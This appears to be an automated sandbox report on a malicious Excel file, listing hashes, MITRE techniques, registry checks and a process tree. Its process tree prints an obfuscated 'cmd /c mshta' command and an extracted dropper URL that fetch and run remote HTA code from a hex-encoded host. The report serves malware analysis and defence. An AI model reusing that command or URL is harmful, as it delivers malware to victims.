c425b918e6144021b603d7713891f953c90f3fe0b724c2fd15767e577edb7ba0

General

Target

c425b918e6144021b603d7713891f953c90f3fe0b724c2fd15767e577edb7ba0.xls
Size

142KB
MD5

b25483c9c42f369b467a92aba6a54846
SHA1

9a80eefb86b8fcb134c3377ead5cd7dccc76c4f8
SHA256

c425b918e6144021b603d7713891f953c90f3fe0b724c2fd15767e577edb7ba0
SHA512

1be9aeaa5b4b8d11da2ecc5903145294f9ae6e84d2b0045c2f3371ab0a960561095711b8a9338f9f2b0502caf3bc36cbdcbf8135130d768c295a4cd72968711c

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2812	2664	cmd.exe	67

Blocklisted process makes network request 1 IoCs

flow	pid	Process
45	2588	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2664	EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2664	EXCEL.EXE
2664	EXCEL.EXE
2664	EXCEL.EXE
2664	EXCEL.EXE
2664	EXCEL.EXE
2664	EXCEL.EXE
2664	EXCEL.EXE
2664	EXCEL.EXE
2664	EXCEL.EXE
2664	EXCEL.EXE
2664	EXCEL.EXE
2664	EXCEL.EXE
2664	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2664 wrote to memory of 2040	2664	EXCEL.EXE	69
PID 2664 wrote to memory of 2040	2664	EXCEL.EXE	69
PID 2664 wrote to memory of 2812	2664	EXCEL.EXE	71
PID 2664 wrote to memory of 2812	2664	EXCEL.EXE	71
PID 2812 wrote to memory of 2588	2812	cmd.exe	73
PID 2812 wrote to memory of 2588	2812	cmd.exe	73

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c425b918e6144021b603d7713891f953c90f3fe0b724c2fd15767e577edb7ba0.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2664
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2040
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    PID:2588

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2664-115-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2664-116-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2664-117-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2664-118-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2664-125-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2664-128-0x00007FFFB4270000-0x00007FFFB4280000-memory.dmp

Filesize
64KB

Download
memory/2664-129-0x00007FFFB4270000-0x00007FFFB4280000-memory.dmp

Filesize
64KB

Download
memory/2664-424-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2664-425-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2664-426-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2664-427-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads